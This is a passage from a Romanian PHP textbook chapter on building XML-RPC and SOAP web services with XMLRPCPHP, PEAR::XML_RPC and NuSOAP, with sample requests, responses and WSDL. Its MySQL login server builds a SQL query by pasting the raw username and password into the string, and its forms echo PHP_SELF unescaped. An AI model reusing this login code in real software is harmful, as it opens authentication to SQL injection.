Clasa xmlrpc_server este utilizatã pentru instanþierea serverului ºi înregistrarea


funcþiilor definite de programator în acesta:
$server = new xmlrpc_server($redirect_function);
Funcþia de redirectare ($redirect_function) este un tablou asociativ de tablouri
asociative. Tabloul exterior are câte o intrare pentru fiecare procedurã, cheia fiind
numele procedurii. Valoarea corespunzãtoare unei intrãri este un tablou asociativ, care
are trei parametri, numai primul fiind obligatoriu:
• function – este numele unei funcþii aflate în domeniul global, care deserveºte
procedura XML-RPC;
• signature – este definitã prin crearea unui tablou de tipuri pentru fiecare parametru
de intrare ºi de ieºire;
• docstring – este un ºir care conþine documentaþia pentru serviciul Web (poate
conþine marcaje XHTML).
Funcþia (e.g., phpSum(), în exemplul anterior) care deserveºte procedura apelatã de
client (e.g., sum , în exemplul anterior) trebuie sã aibã un singur parametru, anume un
obiect xmlrpcmsg. În interiorul funcþiei, se extrag atributele obiectului primit, acestea
fiind apoi decodificate în variabile PHP, folosind funcþia xmlrpc_decode(). Dupã
efectuarea unor operaþii în concordanþã cu rolul îndeplinit de serviciul Web respectiv,
rezultatul este codificat într-un obiect xmlrpcval ºi, apoi, returnat ca un obiect
xmlrpcresp apelantului. Dacã obiectul xmlrpcval este invalid, se poate utiliza un
obiect xmlrpcresp pentru a întoarce o eroare. Specificaþiile XMLRPCPHP definesc o
variabilã globalã denumitã $xmlrpcerruser, care seteazã nivelul erorii. Pentru fiecare
eroare care nu este generatã de clasele incluse în biblioteca XMLRPCPHP, se recomandã
ca programatorul sã incrementeze valoarea variabilei respective cu câte o unitate.
Cererea generatã de clientul XML-RPC va fi similarã cu urmãtoarea (parametrii
trimiºi de client procedurii sum sunt numerele reale 12.78 ºi 34.05 ):
POST /rpc/phpxmlrpc HTTP/1.0
User-Agent: PHP/5.0.4
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 263

<?xml version=”1.0”?>
<methodCall>    
<methodName>sum</methodName>
  <params>
    <param>
<value><double>12.78</double></value>
<value><double>34.05</double></value>
</param>
  </params>
</methodCall>
Rãspunsul generat de serverul XML-RPC va fi similar cu urmãtorul (rezultatul
furnizat de procedura sum este 46.83):
PHP ªI SERVICIILE WEB 179

HTTP/1.1 200 OK
Date: Sun, 21 Aug 2005 19:17:49 GMT
Server: Apache/2.0.52 (Win32) PHP/5.0.4
X-Powered-By: PHP/5.0.4
Content-Length: 131
Connection: close
Content-Type: text/xml

<?xml version=”1.0” ?>


<methodResponse>
<params>
<param>
<value><double>46.83</double></value>
</param>
</params>
</methodResponse>

În exemplul oferit, scripturile care includ clientul ºi, respectiv, serverul XML-RPC
sunt executate în acelaºi sistem (localhost). Dacã aveþi acces la încã un server,
transferaþi acolo scriptul server.php ºi celelalte fiºiere necesare. Dacã serverul la care
aveþi acces este domain.com, în fiºierul client.php înlocuiþi:
$client = new xmlrpc_client(’/rpc/phpxmlrpc/server.php’,
’localhost’, 80);

cu secvenþa urmãtoare:
$client = new xmlrpc_client(’/server_path/server.php’,
’domain.com’, 80);

Utilizarea PEAR::XML-RPC pentru dezvoltarea serviciilor Web


Pachetul PEAR::XML_RPC, dezvoltat de Stig Bakken ºi Daniel Convissor, furnizeazã
dezvoltatorilor PHP un API pentru a scrie clienþi ºi servere XML-RPC, a codifica
cererile clienþilor ºi a decodifica rãspunsurile serverelor. Pentru început, trebuie sã
instalaþi pachetul:
pear install -o XML_RPC

Dacã pachetul este instalat deja în sistem, puteþi aduce versiunea cea mai recentã
astfel:
pear upgrade XML_RPC

În pachetul PEAR::XML_RPC sunt definite mai multe obiecte, fiecare servind unui
scop precis. În continuare vom prezenta câteva dintre acestea:
• XML_RPC_Client creeazã un client XML-RPC. La iniþializare, trebuie sã se
transmitã constructorului trei argumente: calea cãtre scriptul aflat pe server, numele
de gazdã al serverului ºi numãrul portului utilizat de severul HTTP.
180 PROGRAMAREA ÎN PHP

• XML_RPC_Server creeazã un server XML-RPC. La iniþializare, trebuie sã i se


transmitã constructorului un argument numit funcþie de redirectare. Acesta este un
tablou asociativ de tablouri asociative; tabloul exterior are câte o intrare pentru
fiecare procedurã, cheia fiind numele acesteia.
• XML_RPC_Message permite invocarea unei proceduri de cãtre client. La iniþializarea
acestui obiect, trebuie sã se transmitã constructorului douã argumente: numele
procedurii care va fi apelatã ºi parametrii necesari acesteia (în mod obligatoriu, ca un
tablou de obiecte XML_RPC_Value()).
• XML_RPC_Response împacheteazã pe server datele obþinute în urma execuþiei
procedurii apelate;
• XML_RPC_Value este utilizat pentru a reprezenta datele prezente în specificaþiile
XML-RPC;
Reprezentarea XML-RPC a unei date poate fi obþinutã prin utilizarea metodei
serialize() a obiectului XML_RPC_Value() , iar valoarea datei respective, prin
utilizarea metodei scalarval() a aceluiaºi obiect.
Metoda send() a obiectului XML_RPC_Client trimite cererea serverului XML-RPC
ºi genereazã un obiect-rãspuns din rãspunsul întors de server în urma execuþiei procedurii
apelate. Dacã a fost generatã o eroare, caracteristicile acesteia pot fi obþinute prin
intermediul metodelor faultCode() (codul erorii) ºi faultString() (descrierea
erorii). Dacã nu a fost generatã o eroare, obiectul-rãspuns va conþine valoarea întoarsã
de procedura executatã pe server; aceastã valoare va putea fi preluatã prin intermediul
metodei value() a obiectului-rãspuns.
În continuare, prezentãm un exemplu de utilizare a pachetului PEAR::XML_RPC.
Creaþi în directorul rpc subdirectorul pear, în care veþi salva fiºierele client1.php ºi
server1.php, având drept conþinuturi scripturile incluse în listing-urile 7.3, respectiv
7.4. În aceste scripturi au fost utilizate obiectele ºi metodele descrise anterior.
7.3. Fiºierul client1.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>Calculul sumei a doua numere</head>
<body>
<?php
require_once(’XML/RPC.php’);
// Se initializeaza clientul
$client = new XML_RPC_Client(”/rpc/pear/server1.php”,
”localhost”, 80);
// Se afiseaza informatii pentru depanare
$client->setDebug(1);
// Se genereaza cererea XML-RPC
$msg = new XML_RPC_Message(”sum”, array(
new XML_RPC_Value(”6”, ”int”),
new XML_RPC_Value(”9”, ”int”)));
// Cererea este trimisa
PHP ªI SERVICIILE WEB 181

$response = $client->send($msg);
// Se citeste raspunsul
if (!$response->faultCode()) {
// Nu a fost generata eroare
$value = $response->value();
echo $value->scalarval() . ”\n”;
}
else {
// A fost generata o eroare
// Se afiseaza codul si continutul erorii
echo ”Codul erorii: ” . $response->faultCode() .
” Mesaj: ” . $response->faultString();
}

?>
</body>
</html>

7.4. Fiºierul server1.php


<?php
require_once (’XML/RPC/Server.php’);
// Se creeaza serverul XML-RPC
$server = new XML_RPC_Server(array(”sum” =>
array(”function” => ”phpSum”)));
/* Functia phpSum, care proceseaza cererea XML-RPC si
intoarce rezultatele */
function phpSum($params) {
$first = $params->getParam(0);
$second = $params->getParam(1);
$firstVal = $first->scalarval();
$secondVal = $second->scalarval();
$sum = $firstVal + $secondVal;
$response = ”Suma numerelor ” . $firstVal .
” si ” . $secondVal .
” este ” . $sum;
// Intoarce raspunsul clientului
return new XML_RPC_Response(new XML_RPC_Value($response,
”string”));
}
?>

Clientul XML_RPC trimite serverului un mesaj (încapsulat în obiectul $msg) care


conþine numele procedurii ce trebuie apelatã (sum ) ºi parametrii necesari pentru execuþia
acesteia (douã date de tip int). Funcþia PHP care serveºte aceastã procedurã este
phpSum(). Aceastã funcþie preia (prin intermediul metodei getParam()) parametrii
transmiºi, le determinã valorile (prin intermediul metodei scalarval()), calculeazã
182 PROGRAMAREA ÎN PHP

suma lor, construieºte un ºir $response ºi, pe baza acestuia, un obiect-rãspuns (prin
iniþializarea obiectului XML_RPC_Response). Obiectul-rãspuns este întors apelantului
(clientul XML_RPC), fiind preluat de acesta ca $response. Clientul extrage ºi afiºeazã
valoarea întorsã de server, care reprezintã suma celor doi parametri trimiºi.
Constructorul XML_RPC_Value() codificã variabilele PHP în date XML-RPC,
conform tabelului 7.1.

Tabelul 7.1. Conversia tipurilor PHP în tipuri XML-RPC

Tipuri PHP Tipuri XML-RPC


NULL <string> (vid)
Boolean <boolean>
String <string>
Integer <int>
Float <double>
Array (numeric) <struct>
Array (asociativ) <struct>

Deoarece XML-RPC nu are tipul NULL, tipul NULL PHP este convertit la tipul
<string> XML-RPC. Tipul Array PHP este convertit la tipul <struct> XML-RPC.
Cererea generatã de clientul XML-RPC este similarã cu urmãtoarea (clientul a trimis
numerele 6 ºi 9):
POST /rpc/pear HTTP/1.0
User-Agent: PHP/5.0.4
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 275

<?xml version=”1.0”?>
<methodCall>    
<methodName>sum</methodName>
  <params>
    <param>
<value><int>6</int></value>
<value><int>9</int></value>
</param>
  </params>
</methodCall>

Rãspunsul generat de serverul XML-RPC este similar cu urmãtorul (rezultatul calculat


de server este 15):
HTTP/1.1 200 OK
Date: Sun, 21 Aug 2005 18:32:48 GMT
Server: Apache/2.0.52 (Win32) PHP/5.0.4
X-Powered-By: PHP/5.0.4
Content-Length: 419
PHP ªI SERVICIILE WEB 183

Connection: close
Content-Type: text/html; charset=ISO-8859-2

<?xml version=”1.0” encoding=”UTF-8”?>


<methodResponse>
<params>
<param>
<value><string>Suma numerelor 6 si 9 este 15</string></value>
</param>
</params>
</methodResponse>

Server de autentificare bazat pe servicii Web


Un server de autentificare este o aplicaþie folositã în sistemele distribuite care permite
autentificarea utilizatorilor folosind clienþi ce ruleazã pe platforme diferite. Serverul
permite apelarea unei proceduri care acceptã ca parametri un nume de utilizator ºi o
parolã, efectueazã o cãutare printr-o bazã de date ºi, în funcþie de rezultatul cãutãrii,
întoarce un anumit rãspuns apelantului.
În exemplul urmãtor vom construi un server de autentificare folosind o bazã de date
MySQL ºi implementarea PEAR a protocolului XML-RPC.
Folosind un client MySQL, creaþi baza de date rpc ºi tabelul users, în care ulterior
veþi introduce câteva înregistrãri (parolele trebuie codificate cu funcþia MySQL md5()):
mysql>CREATE DATABASE rpc;
mysql>USE rpc;
mysql>CREATE TABLE users (
->id int(10) NOT NULL auto_increment,
->username varchar(50) NOT NULL default ’’,
->password varchar(32) NOT NULL default ’’,
->PRIMARY KEY (id)
->);
În listing-urile 7.5 ºi 7.6 sunt prezentate scripturile executate pe client, respectiv pe
server. Salvaþi aceste scripturi în fiºierele client2.php ºi server2.php.
7.5. Fiºierul client2.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>Autentificare</head>
<body>
<?php
// Formularul nu a fost trimis
if (!isset($_POST[’submit’])) {
?>
184 PROGRAMAREA ÎN PHP

<form action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”


method=”post”>
<table>
<tr>
<td>Username</td>
<td><input type=”text” name=”name”></td>
</tr>
<tr>
<td>Password</td>
<td><input type=”password” name=”password”></td>
</tr>
<tr>
<td><input type=”reset”></td>
<td><input type=”submit” name=”submit”></td>
<tr>
</table>
</form>
<?php
}
// Formularul a fost trimis
else {
require_once(’XML/RPC.php’);
// Se initializeaza clientul XML_RPC
$client = new XML_RPC_Client(”/rpc/pear/server2.php”,
”localhost”, 80);
// Se afiseaza informatii pentru depanare
$client->setDebug(1);
/* Se construieste o data de tip struct care contine
numele de utilizator si parola */
$struct = new XML_RPC_Value(array( ”username” =>
new XML_RPC_Value($_POST[’name’], ”string”),
”password” =>
new XML_RPC_Value($_POST[’password’], ”string”)
), ”struct”);
// Se genereaza cererea XML_RPC
$msg = new XML_RPC_Message(”login”, array($struct));
// Se trimite cererea XML_RPC
$response = $client->send($msg);
// Se citeste raspunsul
if (!$response->faultCode()) {
// Daca nu este generata o eroare
$value = $response->value();
if ($value->scalarval() == 1)
echo ”Acces permis”;
else
echo ”Acces interzis”;
PHP ªI SERVICIILE WEB 185

}
else {
// Daca a fost generata o eroare
echo ”Codul erorii: ” . $response->faultCode() .
” Mesaj: ” . $response->faultString();
}
}
?>
</body>
</html>

7.6. Fiºierul server2.php


<?php
require_once(’XML/RPC/Server.php’);
// Se creeaza serverul XML_RPC
$server = new XML_RPC_Server(array(”login” =>
array(”function” => ”phpLogin”)));
// Functia de autentificare
function phpLogin($params) {
// Se obtine valoarea de start pentru codurile de eroare
global $XML_RPC_erruser;
// Se obtine primul argument (de tip struct)
$struct = $params->getParam(0);
// Se obtin datele incluse in elementul de tip struct
$value = $struct->structmem(’username’);
$username = $value->scalarval();
$value = $struct->structmem(’password’);
$password = $value->scalarval();
// Se incearca deschiderea conexiunii la serverul MySQL
if (!$connection = @mysql_connect(”localhost”, ””, ””)) {
// Conectarea nu a fost realizata
return new XML_RPC_Response(0, $XML_RPC_erruser+1,
”Conectarea la baza de date nu a fost realizata”);
}
// Conectarea a fost realizata
// Se incearca selectarea bazei de date
if (!mysql_select_db(”rpc”)) {
// Baza de date nu a fost selectata
return new XML_RPC_Response(0, $XML_RPC_erruser+2,
”Baza de date nu a fost selectata”);
}
// Baza de date a fost selectata
// Se construieste o interogare SQL
$query = ”SELECT * FROM users WHERE username = ’$username’
AND password = md5(’$password’)”;
186 PROGRAMAREA ÎN PHP

if (!$result = mysql_query($query)) {
// Interogare nereusita
return new XML_RPC_Response(0, $XML_RPC_erruser+3,
”Interogarea nu a fost executata”);
}
// Se verifica rezultatul interogarii
if (mysql_num_rows($result) == 1) {
// numele si parola au fost gasite in baza de date
return new XML_RPC_Response(new XML_RPC_Value(1, ”boolean”));
}
else {
// numele si parola nu au fost gasite in baza de date
return new XML_RPC_Response(new XML_RPC_Value(0, ”boolean”));
}
}
?>

Numele utilizatorului (name) ºi parola (password) sunt incluse într-o datã struct.
Procedura apelatã pe server este login. Funcþia care serveºte aceastã procedurã este
phpLogin(). În interiorul funcþiei, din obiectul trimis de client este extrasã data de tip
struct, apoi sunt extraºi membrii structurii ºi valorile acestora. Valorile obþinute sunt
utilizate pentru a construi o interogare SQL, care cautã aceste valori în tabelul users al
bazei de date rpc. În cazul în care valorile cãutate sunt gãsite, serverul întoarce (într-un
obiect-rãspuns) valoarea logicã 1 (clientul XML-RPC va interpreta aceastã valoare în
sensul cã accesul este permis). În caz contrar, obiectul întors include valoarea logicã 0
(clientul va interpreta aceastã valoare în sensul cã accesul este interzis).
Folosind PEAR::XML_RPC, programatorul poate genera erori în script folosind
obiectul XML_RPC_Response. Codul numeric al acestor erori trebuie sã înceapã de la
valoarea $XML_RPC_erruser +1 (unde $XML_RPC_erruser este o variabilã globalã
care seteazã codul erorii generate în clasele PEAR::XML_RPC).
Cererea generatã de clientul XML-RPC este similarã cu urmãtoarea (clientul trimite
ºirurile daniel ºi password):
POST /rpc/pear HTTP/1.0
User-Agent: PHP/5.0.4
Host: 127.0.0.1
Content-Type: text/xml
Content-Length: 275

<?xml version=”1.0”?>
<methodCall>    
<methodName>sum</methodName>
  <params>
    <param>
<value><string>daniel</string></value>
<value><string>password</string></value>
</param>
PHP ªI SERVICIILE WEB 187

  </params>
</methodCall>
Rãspunsul generat de serverul XML-RPC este similar cu urmãtorul:
HTTP/1.1 200 OK
Date: Sun, 21 Aug 2005 18:37:30 GMT
Server: Apache/2.0.52 (Win32) PHP/5.0.4
X-Powered-By: PHP/5.0.4
Content-Length: 641
Connection: close
Content-Type: text/html; charset=ISO-8859-2

<?xml version=”1.0” encoding=”UTF-8”?>


<methodResponse>
<params>
<param>
<value><boolean>1</boolean></value>
</param>
</params>
</methodResponse>
În exemplele oferite, scripturile care includ clienþii ºi serverele XML-RPC sunt
executate în acelaºi sistem (localhost ). Dacã aveþi acces la încã un server, transferaþi
acolo scripturile care includ serverele XML-RPC. Dacã serverul la care aveþi acces este
domain.com, în fiºierele client1.php ºi, respectiv, client2.php, înlocuiþi:
$client = new XML_RPC_Client(”/rpc/pear/server1.php”,
”localhost”, 80);
$client = new XML_RPC_Client(”/rpc/pear/server2.php”,
”localhost”, 80);
cu secvenþele urmãtoare:
$client = new XML_RPC_Client(”/server_path/server1.php”,
”domain.com”,80);
$client = new XML_RPC_Client(”/server_path/server2.php”,
”domain.com”,80);

SOAP în PHP
Implementãri ale SOAP în PHP
Protocolul SOAP a fost implementat prin intermediul limbajului PHP în diverse instru-
mente, precum:
• NuSOAP (http://sourceforge.net/projects/nusoap), dezvoltat iniþial ca SOAPx4 (de
cãtre Dietrich Ayala, http://dietrich.ganx4.com/nusoap);
• pachetul PEAR::SOAP (http://pear.php.net/package/SOAP);
188 PROGRAMAREA ÎN PHP

• extensia SOAP pentru PHP, care poate fi utilizatã pentru a scrie servere ºi clienþi
SOAP. Utilizarea acestei extensii necesitã prezenþa în sistem a bibliotecii libxml2
(http://www.xmlsoft.org);
• SWSAPI, care este un Web Service API (dezvoltat de compania Active State) numit
Simple Web Service API, adicã SWSAPI. În fapt, este un API unificat pentru
programarea serviciilor Web în Perl, PHP ºi Python.

Crearea ºi utilizarea serviciilor Web folosind NuSOAP


NuSOAP este o colecþie de clase PHP, scrise de Dietrich Ayala ºi furnizate de acesta ºi
NuSphere, care permite programatorilor scrierea de clienþi ºi servere bazate pe SOAP
1.1, WSDL 1.1 ºi HTTP 1.0/1.1. A fost utilizat în implementarea câtorva instrumente
pentru crearea serviciilor Web, dintre care menþionãm PEAR::SOAP ºi SWSAPI (Active
State Web Service API). Versiunea 0.7.2 a fost publicatã pe 4 august 2005.
Descãrcaþi biblioteca NuSOAP de la adresa http://sourceforge.net/projects/nusoap.
Includeþi fiºierul nusoap.php în directorul specificat ca valoare a directivei include_path
în php.ini sau în directorul soap, creat în rãdãcina sitului Web.
Documentaþia pentru biblioteca NuSOAP o gãsiþi la adresa http://sourceforge.net/
project/showfiles.php?group_id=57663&package_id=152893&release_id=346929.
În continuare, vã prezentãm un exemplu de utilizare a bibliotecii NuSOAP. Vom crea un
serviciu Web simplu numit echoString, care va întoarce utilizatorului ºirul trimis de acesta
(listing-ul 7.7). Salvaþi codul-sursã în fiºierul server.php, inclus în directorul soap.
7.7. Fiºierul server.php
<?php
require_once(’nusoap.php’);
$ns=”http://127.0.0.1/soap”;
// Se creeaza un server SOAP
$server = new soap_server();
/* Se defineste un spatiu de nume pentru serviciu (echoString).
Daca serviciul pune la dispozitia utilizatorilor o singura
metoda, atunci numele serviciului poate sa coincida
cu numele metodei. In acest exemplu, numele serviciului este
echo, iar numele metodei puse la dispozitia utilizatorilor
este echoString. */
$server->configureWSDL(’echo’,$ns);
$server->wsdl->schemaTargetNamespace = $ns;
/* Se inregistreaza numele metodei care trateaza cererea
clientului, parametrii de intrare si de iesire
si spatiul de nume. */
$server->register(’echoString’,
array(’inputString’ => ’xsd:string’),
array(’return’ => ’xsd:string’),
$ns);
// Se defineste metoda care trateaza cererea clientului
function echoString($inputString) {
if(!empty($inputString)){
PHP ªI SERVICIILE WEB 189

$outputString = ”Ai introdus: ”. $inputString;


return $outputString;
}
else
return new soap_fault(’Client’,’’,
’Trebuie precizat un sir de caractere.’);
}
// Se invoca serviciul
$server->service($HTTP_RAW_POST_DATA);
?>

Constructorul clasei soap_server instanþiazã un obiect-server. Funcþia care trateazã


cererea clientului trebuie înregistratã cu obiectul-server. În caz contrar, serverul va
genera o eroare, indicând cã serviciul nu este funcþional. Metoda service() a obiec-
tului-server proceseazã cererea primitã, apeleazã funcþia înregistratã anterior, creeazã
rãspunsul ºi îl trimite clientului SOAP. Aceastã metodã primeºte valoarea variabilei
$HTTP_RAW_POST_DATA (conþine cererea trimisã de client).
Clasa soap_fault furnizeazã o modalitate de a preciza erorile care iau naºtere în
cursul dezvoltãrii ºi utilizãrii serviciilor Web bazate pe NuSOAP. Constructorul acestei
clase are trei argumente (furnizate în ordinea precizatã în continuare). Valorile lor se
regãsesc ºi ca proprietãþi ale obiectului rezultat prin instanþierea clasei:
• faultcode – valorile posibile (care precizeazã clasa cãreia îi aparþine eroarea
generatã) sunt Client (aceastã valoare indicã faptul cã mesajul trimis nu conþine
date corecte pentru procesarea cererii) ºi Server (aceastã valoare indicã apariþia
unor probleme în cursul procesãrii cererii pe server);
• faultactor – aceastã proprietate nu este încã funcþionalã în NuSOAP ºi poate fi
lãsatã vidã (ca în exemplul prezentat);
• faultstring – descrie eroarea într-un format accesibil utilizatorilor umani;
• faultdetail – valoarea acestei proprietãþi este reprezentatã de datele XML utilizate
pentru a detalia erorile legate strict de elementul Body al mesajului SOAP (aici puteþi
insera propriile dumneavoastrã marcaje XML).
Utilizând fiºierul creat anterior, pot fi afiºate informaþii referitoare la serviciul Web
ºi poate fi generat dinamic documentul WSDL al acestuia. Introduceþi în caseta de adrese
a browserului http://127.0.0.1/soap/server.php. Veþi obþine urmãtorul rezultat:
Oferiþi informaþii despre serviciul Web creat de dumneavoastrã

Puneþi la dispoziþia utilizatorilor


informaþii privind serviciul Web,
care le vor permite sã scrie clienþi
pentru accesarea acestuia.
190 PROGRAMAREA ÎN PHP

Dacã se utilizeazã legãtura echoString, vor fi afiºate informaþii de sumar (vezi


screenshot-ul urmãtor) despre serviciu, iar dacã se utilizeazã legãtura WSDL, va fi
generat dinamic ºi afiºat documentul WSDL al serviciului echo.
În continuare, vã prezentãm documentul WSDL al serviciului echo.
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<definitions
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:tns=”http://127.0.0.1/soap”
xmlns:soap=”http://schemas.xmlsoap.org/wsdl/soap/”
xmlns:wsdl=”http://schemas.xmlsoap.org/wsdl/”
xmlns=”http://schemas.xmlsoap.org/wsdl/”
targetNamespace=”http://127.0.0.1/soap”>
<types>
<xsd:schema targetNamespace=”http://127.0.0.1/soap”>
<xsd:import namespace=”http://schemas.xmlsoap.org/soap/
encoding/” />
<xsd:import namespace=”http://schemas.xmlsoap.org/wsdl/” />
</xsd:schema>
</types>
<message name=”echoStringRequest”>
<part name=”inputString” type=”xsd:string” />
</message>
<message name=”echoStringResponse”>
<part name=”return” type=”xsd:string” />
</message>
<portType name=”echoPortType”>
<operation name=”echoString”>
<input message=”tns:echoStringRequest”/>
<output message=”tns:echoStringResponse”/>
</operation>
</portType>
<binding name=”echoBinding” type=”tns:echoPortType”>
<soap:binding style=”rpc”
transport=”http://schemas.xmlsoap.org/soap/http”/>
<operation name=”echoString”>
<soap:operation soapAction=”http://127.0.0.1/soap/
server.php/echoString” style=”rpc”/>
<input>
<soap:body use=”encoded”
namespace=http://127.0.0.1/soap
encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”/>
PHP ªI SERVICIILE WEB 191

</input>
<output>
<soap:body use=”encoded”
namespace=”http://127.0.0.1/soap”
encodingStyle=”http://schemas.xmlsoap.org/
soap/encoding/”/>
</output>
</operation>
</binding>
<service name=”echo”>
<port name=”echoPort”
binding=”tns:echoStringBinding”>
<soap:address location=”http://127.0.0.1/soap/server.php”/>
</port>
</service>
</definitions>

Sunt afiºate informaþii de sumar despre serviciul Web

Analizând documentul WSDL ºi informaþiile de sumar, se pot extrage urmãtoarele


informaþii: numele metodei care trateazã cererea clientului este echoString; aceasta
acceptã un parametru de intrare de tip array, cu un singur element de tip string, ºi
întoarce un parametru (de ieºire) similar. Folosind aceste informaþii, se poate scrie un
client care sã utilizeze serviciul respectiv. Alegerea limbajului de programare ºi a
platformei rãmâne la latitudinea programatorului. În continuare (listing-ul 7.8) vã
prezentãm un program-client pentru accesarea serviciului echo, scris în PHP ºi care
utilizeazã biblioteca NuSOAP. Salvaþi codul-sursã în fiºierul client.php.
192 PROGRAMAREA ÎN PHP

7.8. Fiºierul client.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Servicii Web cu SOAP</title>
</head>
<body>
<?php
require_once(’nusoap.php’);
if(isset($_GET[’submit’])) {
if(isset($_GET[’info’]))
$mystring = $_GET[’info’];
// Se seteaza afisarea informatiilor de depanare
$debug = 1;
/* Se precizeaza URL-ul fisierului prin intermediul caruia
este oferit serviciul */
$wsdl=”http://localhost/soap/server.php?php”;
// Se creeaza un client SOAP
$client=new soapclient($wsdl, ’wsdl’);
/* Se definesc parametrii care vor fi transmisi metodei
ce trateaza cererea clientului */
$params = array(’inputString’=> $mystring);
// Se trimite serverului o cerere si se primeste un raspuns
$result = $client->call(’echoString’, $params);
// Se testeaza daca au fost generate erori
if(!$err = $client->getError()) {
// Daca nu exista erori, este afisat rezultatul
echo $result;
}
else {
// Daca exista eroare, aceasta este afisata
echo ”Eroare: ” . $err;
}
//echo $client->request;
//echo $client->response;
}
else {
?>
<h3>Te rog sa introduci un sir de caractere:</h3>
<form action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”
method=”get”>
<table>
<tr>
<td>Sir</td>
PHP ªI SERVICIILE WEB 193

<td><input type=”text” name=”info”></td>


</tr>
<tr>
<td><input type=”reset”></td>
<td><input type=”submit” value=”Info”
name=”submit”></td>
</tr>
</table>
</form>
<?php
}
?>
</body>
</html>

Metodei call() a obiectului soapclient creat i se transmit doi parametri: numele


serviciului care va fi accesat ºi parametrii (sub forma unui tablou) transmiºi acestuia.
Dupã apelare, metoda va întoarce rãspunsul serverului. Acest rãspuns are un tip nativ
PHP!
Detecþia erorilor este realizatã prin intermediul metodei getError() a obiectului
soapclient. Dacã a fost generatã o eroare, metoda întoarce un ºir care descrie eroarea
respectivã. Dacã nu a fost generatã o eroare, metoda întoarce valoarea logicã false .
Proprietãþile request ºi response ale obiectului soapclient conþin ca ºiruri
mesajele SOAP (cererea ºi rãspunsul), inclusiv anteturile HTTP ale acestora.
Dacã decomentaþi liniile:
//echo $client->request;
//echo $client->response;

veþi obþine ºi cererea ºi rãspunsul SOAP. Astfel, cererea SOAP formulatã de client este
similarã cu:
POST /soap/server.php?php HTTP/1.0
Host: localhost
User-Agent: NuSOAP/0.7.2 (1.94)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ””
Content-Length: 522

<?xml version=”1.0” encoding=”ISO-8859-1”?>


<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body>
194 PROGRAMAREA ÎN PHP

<ns1:echoString xmlns:ns1=”http://tempuri.org”>
<inputString xsi:type=”xsd:string”>PHP</inputString>
</ns1:echoString>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Rãspunsul SOAP furnizat de server va fi similar cu similar cu:
HTTP/1.1 200 OK
Date: Wed, 24 Aug 2005 18:02:43 GMT
Server: Apache/2.0.52 (Win32) PHP/5.0.4
X-Powered-By: PHP/5.0.4
X-SOAP-Server: NuSOAP/0.7.2 (1.94)
Content-Length: 532
Connection: close
Content-Type: text/xml; charset=ISO-8859-1

<?xml version=”1.0” encoding=”ISO-8859-1”?>


<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”>
<SOAP-ENV:Body>
<ns1:echoStringResponse xmlns:ns1=”http://tempuri.org”>
<return xsi:type=”xsd:string”>Ai introdus: PHP</return>
</ns1:echoStringResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Spaþiul de nume implicit (ns1) utilizat de serviciul Web creat în acest exemplu
are URI-ul http://tempuri.org (introdus implicit de NuSOAP). Este de remarcat
cã NuSOAP utilizeazã acelaºi spaþiu de nume implicit ca ºi ASP.NET Web
Services. Puteþi folosi acest spaþiu de nume numai temporar, în cursul dezvoltãrii
serviciului. Serviciile Web publice trebuie sã aibã un spaþiu de nume permanent, aflat
sub controlul dumneavoastrã. În acest scop, puteþi folosi numele de domeniu ca parte a
spaþiului de nume al serviciului Web pe care l-aþi pus la dispoziþia utilizatorilor.
Clasa soapclient furnizeazã o metodã numitã setCredentials(), utilizatã atunci
când este necesarã autentificarea HTTP pentru a accede la un anumit serviciu Web.
Metoda trebuie folositã dupã instanþierea clientului SOAP, astfel:
$client = new soapclient(’http://127.0.0.1/soap/server/server.php’);
$client->setCredentials(’username’,’passwword’);
Dacã sunteþi în cursul etapei de dezvoltare a serviciului, este necesar sã stocaþi
fiºierele server.php ºi client.php pe localhost, în directoare diferite. În acest scop, puteþi
crea – în directorul soap – subdirectorul server, în care veþi muta fiºierul server.php ºi
PHP ªI SERVICIILE WEB 195

veþi copia fiºierul nusoap.php. Directorul server trebuie protejat prin intermediul unui
fiºier .htaccess plasat chiar în acest director. Conþinutul acestui fiºier poate fi similar cu:
AuthName ”zona secreta”
AuthType Basic
AuthUserFile etc/httpd/utilizatori
require valid-user
Dacã doriþi sã obþineþi date suplimentare legate de autentificarea HTTP, consultaþi
capitolul 27, „Utilizarea variabilelor-sesiune”, secþiunea „Autentificarea HTTP”, din
lucrarea Traian Anghel, Dezvoltarea aplicaþiilor Web folosind XHTML, PHP ºi MySQL,
Editura Polirom, Iaºi, 2005.

Scrierea clienþilor SOAP pentru servicii Web publice


